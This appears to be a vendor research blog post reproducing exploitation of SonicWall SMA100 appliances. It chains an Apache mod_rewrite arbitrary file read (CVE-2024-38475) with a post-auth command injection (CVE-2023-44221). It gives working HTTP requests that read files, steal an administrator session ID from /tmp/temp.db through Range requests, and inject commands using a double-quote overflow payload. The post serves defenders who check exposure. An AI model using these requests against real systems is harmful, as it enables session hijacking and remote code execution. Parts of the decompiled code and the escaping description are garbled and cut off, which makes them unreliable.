# SonicBoom, From Stolen Tokens to Remote Shells – SonicWall SMA (CVE-2023-44221, CVE-2024-38475)
Another day, another edge device being targeted – it’s a typical Thursday!
In today’s blog post, we’re excited to share our previously private analysis of the now exploited in-the-wild N-day vulnerabilities affecting SonicWall’s SMA100 appliance. Over the last few months, our client base has fed us rumours of in-the-wild exploitation of SonicWall systems, and thus, this topic has had our attention for a while.
Specifically, today, we’re going to be analyzing and reproducing:
– **CVE-2024-38475**- Apache HTTP Pre-Authentication Arbitrary File Read
– Discovered by Orange Tsai
– **CVE-2023-44221**- Post-Authentication Command Injection
– Discovered by “Wenjie Zhong (H4lo) Webin lab of DBappSecurity Co., Ltd”
As of the day this research was published, CISA had added these vulnerabilities to the Known Exploited Vulnerabilities list.
Do you know the fun things about these posts? We can copy text from previous posts about edge devices:
> This must be the first time real-world attackers have reversed patches, and reproduced a vulnerability, before some dastardly researchers released a Detection Artefact Generator tool of their own. /s
> At watchTowr’s core, we’re all about identifying and validating ways into organizations – sometimes through vulnerabilities in network border appliances – without requiring such luxuries as credentials or asset lists.
>
> Full exploitation is sometimes required to make our point – and on a daily basis, our clients rely on watchTowr technology to rapidly tell them, within hours, if they’re affected with 100% precision.
>
> This ultimately underscores the research we perform internally to reproduce known N-day vulnerabilities, and discover unknown 0-day vulnerabilities – informing our technology, which continuously protects our client base.
For those just tuning in, though, SonicWall’s Secure Mobile Access (SMA) appliance is described by SonicWall as the following:
> SonicWall Secure Mobile Access (SMA) is a unified secure access gateway that enables organizations to provide access to any application, anytime, from anywhere and any devices, including managed and unmanaged.
>
> SMA offers granular access control, context-aware device authorization, application-level VPN and complete integration with the most advanced authentications. SMA enables organizations to move to the cloud and embrace BYOD with ease.
As always, before we dive in, we want to be clear that today’s blog post focuses on reproducing N-days being used in the wild by attackers—we are not the original discoverers.
We hope today’s blog post allows defenders to determine if their appliances are vulnerable – moving this capability away from something that only attackers seem to be able to do today.
## Let’s Dive In – CVE-2024-38475
CVE-2024-38475 is the CVE identifier given to a vulnerability in the Apache web server discovered by Orange Tsai. This section of the blog post relies heavily on his work to reproduce this vulnerability against a vulnerable SonicWall SMA appliance.
In 2024 at BlackHat USA, Orange Tsai presented 9 different vulnerabilities in the Apache HTTP Server.
For those interested, you can find his excellent research within his blog post and within his slides – to help explain these vulnerabilities today, we have borrowed some pages of his slides:
The vulnerability we’re focusing on today is CVE-2024-38475. This vulnerability resides in the `mod_rewrite` module of the Apache HTTP Server.
The root cause of this vulnerability has been excellently explained by Orange Tsai. However, to quickly recap: the issue occurs during the truncation phase, due to the fact that `r->filename` is treated as a URL path rather than a filesystem path.
This Filename Confusion vulnerability allows the abuse of the question mark ( `%3F`) symbol to truncate the final constructed path.
To illustrate, let us use one of Orange’s examples. Consider the following `RewriteRule` statement for Apache’s `mod_rewrite` module:
“`
RewriteEngine On RewriteRule “^/user/(.+)$” “/var/user/$1/profile.yml”
“`
The above `mod_rewrite` rule is simple: if an HTTP request is made to the url `http://server/user/orange`, the file `/var/user/orange/profile.yml` is retrieved and returned to the user as per below:
“`
$ curl http://server/user/orange # the output of file `/var/user/orange/profile.yml`
“`
As you can see, we have a suffix where `/profile.yml` is concatenated to our path.
Due to the Filename Confusion vulnerability in the `mod_rewrite` module of Apache, although this rule is performing substitution against a filesystem path, it mistakenly treats the final path as a URL path.
This means that if we include a URL-encoded question mark in our requested path, the server will truncate the final filesystem path.
As a result, the appended `/profile.yml` is dropped, allowing us to retrieve the `/secret.yml` file instead, as demonstrated below:
“`
$ curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml`
“`
This is fairly insane.
Now, let’s discuss another Apache feature that Orange Tsai has (ab)used: “DocumentRoot Confusion.”
In the previous example, we were bound to a specific directory — specifically, we were restricted to `/var/user/` as that path was prefixed in the rule.
But what happens if our controlled input is placed at the beginning of a substitution?
Consider the following example provided by Orange Tsai:
“`
DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html
“`
Once again, this is best explained by Orange Tsai himself, but to recap:
When you visit `http://server/html/about` , it would be logical to expect that `mod_rewrite` rewrites this to the `/about.html` file from within the `/var/www/html` directory – because of the `DocumentRoot` directive.
However, Orange Tsai explains to us that this is not what happens.
Terrifyingly, the reality is that both paths are accessed by Apache — and, surprisingly, the one at the root of the filesystem is accessed first.
This opens the door to accessing any file on the filesystem. While it’s not always that straightforward, this behavior can have a significant impact as we will see today.
Now that we’ve familiarized ourselves with Orange Tsai’s research and the root causes of some of the confusion issues in Apache’s `mod_rewrite`, let’s apply this knowledge to analyze the impact of CVE-2024-38475 within the context of SonicWall’s SMA appliance.
## CVE-2024-38475, With A SonicWall Twist
Now, the current in-the-wild exploitation focuses on SonicWall SMA appliances that utilizes an Apache HTTP server with a `mod_rewrite` version that is vulnerable to CVE-2024-38475. Specifically, for today’s blog post, we reviewed `10.2.1.7-49sv`.
The first step we’re going to take is reviewing the Apache configuration file, named `httpd.conf`. This file contains the configuration settings and rewrite rules used by SonicWall.
“`
/usr/src/EasyAccess/www/conf/httpd.conf
“`
This Apache `httpd.conf` config file contains hundreds of rules (of which we have mostly omitted for easier reading), but we will focus on the relevant rules to this vulnerability:
“`
[..SNIP..] DocumentRoot “/usr/src/EasyAccess/www/htdocs” ServerName VirtualOffice ServerAlias ServerAdmin root@VirtualOffice ErrorLog /usr/src/EasyAccess/var/logs/httpd.log SSLProxyCheckPeerCN off SSLProxyCheckPeerExpire off Options FollowSymLinks Options +ExecCGI AllowOverride None RewriteEngine on RewriteCond %{REQUEST_URI} =/favicon.ico RewriteRule ^ /images/logo/VirtualOffice_favicon.ico [PT] RewriteCond %{REQUEST_URI} ^/portal/.*$ RewriteRule ^/portal/(.*)$ https://%{HTTP_HOST}/spog/welcome/$1 RewriteCond %{REQUEST_URI} ^/dea/.*$ #Disable TRACE to prevent XST RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule .* – [F] RewriteCond %{REQUEST_URI} =/favicon.ico RewriteRule ^/dea/(.*)$ https://%{HTTP_HOST}/cgi-bin/DEARegister?url=/dea/$1 RewriteRule ^/(.+)\.[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\.css$ /$1.css RewriteRule ^ /images/logo/VirtualOffice_favicon.ico [PT] RewriteRule ^ /images/logo/VirtualOffice_favicon.ico [PT] [..SNIP..]
“`
As you can see, there are many `RewriteRule` entries in the configuration.
However, we are particularly interested in the ones that don’t bind us to any specific paths — specifically, the rules that allow access to the root of the filesystem.
Quickly, we can identify that such a rule does exist within this Apache `httpd.conf` config file:
“`
RewriteRule ^/(.+)\.[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[A-Za-z0-9]*-[0-9]+.*\.css$ /$1.css
“`
This rule is quite simple. Its purpose is to serve CSS files using a regular expression that expects a specific format.
You might be wondering: What does a normal, valid request that satisfies this pattern look like?
Here is a valid example:
“`
https://host/static/css/85.368e547a156e93679310.css
“`
When the above URL is accessed, the file `85.368e547a156e93679310.css` is successfully retrieved and presented to the user.
Let’s break down the rewrite translation process and show what the final retrieved file path looks like.
“`
/static/css/85.368e547a156e93679310.css -> requested path /usr/src/EasyAccess/www/htdocs/static/css/85.368e547a156e93679310.css -> retrieved file
“`
But how is this possible? The `RewriteRule` directive didn’t specify `/static/css`, so how does Apache know where to retrieve the file from?
That’s where `DocumentRoot` comes into play:
“`
DocumentRoot “/usr/src/EasyAccess/www/htdocs”
“`
This directive tells Apache where it’s `DocumentRoot` is when searching for files.
However, as we mentioned at the beginning of this blog, Orange Tsai discovered that if the substitution path in a `RewriteRule` statement includes a prefix pointing to the root of the filesystem, Apache will attempt to access two paths.
This means that when we access:
“`
https://host/static/css/85.368e547a156e93679310.css
“`
Apache will try to resolve both of the following paths:
“`
/85.368e547a156e93679310.css /usr/src/EasyAccess/www/htdocs/static/css/85.368e547a156e93679310.css
“`
Interesting – so how can we make this more interesting?
Well, we could try to provide our own path — something like `/etc/passwd`, or perhaps even more sensitive files?
And what about the regex? Is it possible to supply our own path while still satisfying the regular expression at the same time?
If you recall, we mentioned this behavior earlier in the Filename Confusion section.
Since Apache `mod_rewrite`, during translation, treats substitution paths as URLs instead of filesystem paths, we can leverage Orange’s technique: by inserting a url-encoded question mark, we can strip away the prefix that would otherwise restrict us.
Combined with the DocumentRoot Confusion, these two primitives together allow us to read any file on the filesystem.
For example, if there is a file located at `/tmp/secret.txt`, we can read it by sending the following request:
“`
https://host/tmp/secret.txt%3f.1.1.1.1a-1.css
“`
This request will match the `RewriteRule`, triggering the `mod_rewrite` vulnerability, and will cause the prefix to be truncated as a result of the Filename Confusion.
This allows us to quickly demonstrate our ability to read any file readable by the user who runs the webserver process (in this case `nobody` user), by targeting a typical Apache HTTP log file.
For the purpose of this example, we’ll target the file `/mnt/ram/var/log/httpd.log` by sending the following HTTP request:
“`
GET /mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css HTTP/1.1 Host: host
“`
The following response is returned:
“`
HTTP/1.1 200 OK Server: SonicWALL SSL-VPN Web Server Content-Security-Policy: script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’; object-src ‘self’; style-src ‘self’ ‘unsafe-inline’ Content-Length: 2593 Content-Type: text/plain [Wed Apr 30 08:48:03.733994 2025] [:notice] [pid 2476] ModSecurity for Apache/2.6.8 () configured. [Wed Apr 30 08:48:03.734068 2025] [:notice] [pid 2476] ModSecurity: APR compiled version=”1.6.5″; loaded version=”1.6.5″ [Wed Apr 30 08:48:03.734153 2025] [:notice] [pid 2476] ModSecurity: PCRE compiled version=”8.32 “; loaded version=”8.32 2012-11-30″ [Wed Apr 30 08:48:03.734155 2025] [:notice] [pid 2476] ModSecurity: LIBXML compiled version=”2.7.8” [Wed Apr 30 08:48:03.751992 2025] [:notice] [pid 2477] mod_antiloris 0.4 started [Wed Apr 30 08:48:03.755098 2025] [core:warn] [pid 2477] AH00098: pid file /usr/src/EasyAccess/var/logs/httpd.pid overwritten — Unclean shutdown of previous Apache run? [Wed Apr 30 08:48:03.944222 2025] [mpm_prefork:notice] [pid 2477] AH00163: Apache/2.4.38 (Unix) OpenSSL/1.1.1t mod_wsgi/4.5.24 Python/3.6 configured — resuming normal operations
“`
## Escalating Arbitrary File Read
Now we’ve demonstrated that we can read arbitrary files from a vulnerable SonicWall SMA appliance – or specifically, arbitrary files that the webserver can read (the webserver runs as the `nobody` user) – it’s time to escalate our access and use this vulnerability for something meaningful.
Perhaps we can find a file that contains sensitive information that would allow us to escalate our access or take over an existing authenticated session.
Quite quickly, we identified the file `/tmp/temp.db` – this is a SQLite database that contains a significant amount of information, but most importantly, it contains session identifiers for currently active sessions – jackpot.
To illustrate this, lets take a quick browse of this SQLite database:
With a quick glance at the structure of this SQLite database, we noticed a table named `Sessions`.
Let’s take a closer look, shall we?
Perfect! The `Sessions` table contains the information we’re looking for:
– Session ID,
– IP address,
– CSRF token, and,
– Much more information related to the currently logged-in administrator account.
Given we can read arbitrary files, surely the next step is to just exfiltrate this database as so:
“`
curl https://host/tmp/temp.db%3f.1.1.1.1a-1.css -o temp.db
“`
Happy with our progress, we loaded our newly downloaded SQLite database file into our local DB viewer and revisited the `Sessions` table.
To our surprise, the `Sessions` table was empty:
Huh? Didn’t we just confirm that this SQLite database contains the information we need? So why, when we download it via our shiny vulnerability, is it empty?
Well, being the trusty hackers we are, we just kept replaying the request – if it doesn’t work the first time, try another 100 times.
Curiously, sometimes we would get a SQLite database with real content, and other times we wouldn’t. Honestly, this was strange and kept us scratching our heads for a while.
We could ignore this and just spam requests – but that’s boring, we’re aiming for stable and reliable.
Suddenly, we had an idea – what if, instead of downloading the entire file in a single request, we retrieved it chunk by chunk?
Apache, by default, supports the `Range` header — and here’s an example of it in action, specifically requesting the byte range that we know our session ID and other important information is stored:
“`
GET /tmp/temp.db%3f.1.1.1.1a-1.css HTTP/1.1 Host: host Range: bytes=7875-8000
“`
As you can see, the response matches the specific portion we requested from the original file.
This turned out to be reliable and stable, helping our anxiety reduce a little.
By requesting the file chunk by chunk, we were able to download the complete SQLite database and extract a currently logged-in administrator session ID.
Good news then, we’ve demonstrated how attackers are likely leveraging CVE-2024-38475 in the wild to ultimately bypass authentication and gain administrative control over vulnerable SonicWall SMA appliances.
## Post-Auth Command Injection **s** (CVE-2023-44221)
A little satisfied, but not quite fully satisfied with the level of access we’d achieved, we decided to move on to CVE-2023-44221 – supposedly being exploited in-the-wild in combination with CVE-2024-38475.
CVE-2023-44221 is described as a Command Injection vulnerability. A quick look at the advisory reveals that the Command Injection vulnerability is reachable after authentication (which we have now bypassed) and allows command execution as the `nobody` user.
Since the web server is the only process running as `nobody`, we can reasonably assume that this injection occurs within one of the CGI files.
Diving back into our world of binaries, we honed in on `/usr/src/EasyAccess/www/spog/diagnostics` and noticed the following change:
> Note: `traceroute6` was not the only function that had `safeSystemCmdArg` added to it. Other commands, such as `ping6` and several others, were also patched — and are similarly exploitable. However, they all follow a similar exploitation approach, and for clarity, we’ve chosen to focus our explanation on `traceroute6`.
To put a face to the name, we began examining the SonicWall SMA management interface and quickly identified the “Diagnostics” menu where we anticipated to find the vulnerable functionality given the name (with our blunt common sense):
It appears that in the new version, the `safeSystemCmdArg` function is being used to sanitize the input passed to the `traceroute6` command.
Could this be a case of classic Command Injection in the most trivial manner, in an enterprise-grade appliance?
Assuming this is as simple and straightforward as we hoped, a payload that resembles something like `”;touch /tmp/watchtowr-was-here;”` or even just “ `touch /tmp/watchtowr-was-here` “ should be enough to confirm whether Command Injection is possible, right?
“`
POST /spog/diagnostics HTTP/1.1 Host: host Cookie: swap=”aaaaaaaa=”; swcctn=bbbbbbbbbb User-Agent: Mozilla/5.0 X-Csrf-Token: bbbbbbbbbb tool=TRACEROUTE6_CMD&target=”;touch+/tmp/watchtowr-was-here;”
“`
Unfortunately, it didn’t work – why is life never so simple?
To understand why, let’s take a closer look at the complete function flow:
– [1] The `traceroute6_handler` function is invoked when the traceroute6 option is used. The `initial_command` is a `char *` pointing to a heap buffer that contains our input for the trace operation.
“`
__int64 traceroute6_handler(FILE *stream, char *initial_command) // [1] { __int64 initial_command_dup; // rax const char *v3; // rax FILE *v4; // r14 int v5; // r12d const char *v6; // rax const char *v8; // rax const char *v9; // rax _BYTE escaped_cmd[256]; // [rsp+0h] [rbp-1F48h] BYREF char command[512]; // [rsp+100h] [rbp-1E48h] BYREF char v12[1040]; // [rsp+300h] [rbp-1C48h] BYREF char s[6152]; // [rsp+710h] [rbp-1838h] BYREF unsigned __int64 v14; // [rsp+1F18h] [rbp-30h] v14 = __readfsqword(0x28u); initial_command_dup = __strdup(initial_command); shellScriptEncode((__int64)escaped_cmd, initial_command_dup); // [2] memset(v12, 0, 1025); // [3] __sprintf_chk(command, 1LL, 512LL, “traceroute6 -q 1 -w 2 \”%s\” 2>&1″, escaped_cmd); v4 = popen(command, “r”); // [4]
“`
– [2] The `initial_command` is passed to the `shellScriptEncode` function, which transforms the input and places the encoded result into the `escaped_cmd` variable.
– We’ve included the content of this function to show how simple it is.
– Effectively, its role is to backslash-escape special characters:
– `→ Replaced with` → Replaced with **$** `$`(escaped **).**). `$`
– `→ Replaced with` → Replaced with **”** `”`(escaped **).**). `”`
– **→ Replaced with** → Replaced with “ **(escaped backslash).**(escaped backslash). `\`
– **`** → Replaced with **\`**(escaped backtick).
“`
void __cdecl shellScriptEncode(_WORD *a1, char *a2) { char *v2; char v4; v2 = a2; if ( a2 ) { while ( 1 ) { v4 = *v2; if ( !*v2 ) break; if ( v4 == ‘$’ ) { *a1++ = ‘$\\’; } else if ( v4 “”””” output -> “””””
“`
This means that if we supply enough double quotes, the escaped output will grow significantly, and when escaped, it can lead to a stack overflow into the adjacent buffer.
Now, astute readers might be wondering: “What is the adjacent buffer to `escaped_cmd`?”
Well, the adjacent buffer is the `command` buffer. If we cause an overflow that exceeds 256 escaped characters, we end up overwriting the null terminator that separates these two buffers.
As a result, when the `escaped_cmd` pointer is later used to craft the final command, it no longer terminates properly. The `sprintf` function continues reading into the `command` buffer, and this unintended read creates a nested command structure — a perfect condition for exploitation.
“`
┌───────────────────────────────┐ ┌───────────────────────────────┐ │ escaped_cmd[256] │ │ command[512] │ │ [________empty__________] │ │ [________empty__________] │ └───────────────────────────────┘ └───────────────────────────────┘ │ shellScriptEncode(escaped_cmd, user_input) ▼ ┌───────────────────────────────┐ │ escaped_cmd[256] │ │ ;ifconfig;\””””””… │ ← 400 bytes of escaped payload └───────────────────────────────┘ │ Overflow past 256 bytes ▼ ┌───────────────────────────────┐ │ command[0…143] ← payload │ &
“`
It causes an odd number of escape sequences, which in turn allows us to break out of the surrounding double quotes — something that was previously not possible due to the escaping logic.
To demonstrate this more tangibly, here is an HTTP request leveraging the above example payload:
“`
POST /spog/diagnostics HTTP/1.1 Host: host Cookie: swap=”aaaaaaaa=”; swcctn=bbbbbbbbbb User-Agent: Mozilla/5.0 X-Csrf-Token: bbbbbbbbbb Priority: u=0 Te: trailers Connection: keep-alive tool=TRACEROUTE6_CMD&target=;ifconfig; “”””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””””
“`
> Note: If you’re wondering “why not just perform a classic stack overflow to gain control of execution?” — it’s because this binary is protected with a stack canary. It’s far easier (and more reliable) to proceed with the exploitation technique described above.
## Detection Artefact Generator
As always, we’ve produced a Detection Artefact Generator to demonstrate and achieve pre-auth RCE.
The Detection Artefact Generator chain is a combination of two vulnerabilities:
– **CVE-2024-38475**- Apache HTTP Pre-Authentication Arbitrary File Read
– Which we use to leak a currently logged-in administrator session token.
– **CVE-2023-44221**- Post-Authentication Command Injection
This piece of art can be found here:
At watchTowr, we passionately believe that continuous security testing is the future and that rapid reaction to emerging threats single-handedly prevents inevitable breaches.
With the watchTowr Platform, we deliver this capability to our clients every single day – it is our job to understand how emerging threats, vulnerabilities, and TTPs could impact their organizations, with precision.
If you’d like to learn more about the **watchTowr Platform** **, our Attack Surface Management and Continuous Automated Red Teaming solution,** please get in touch.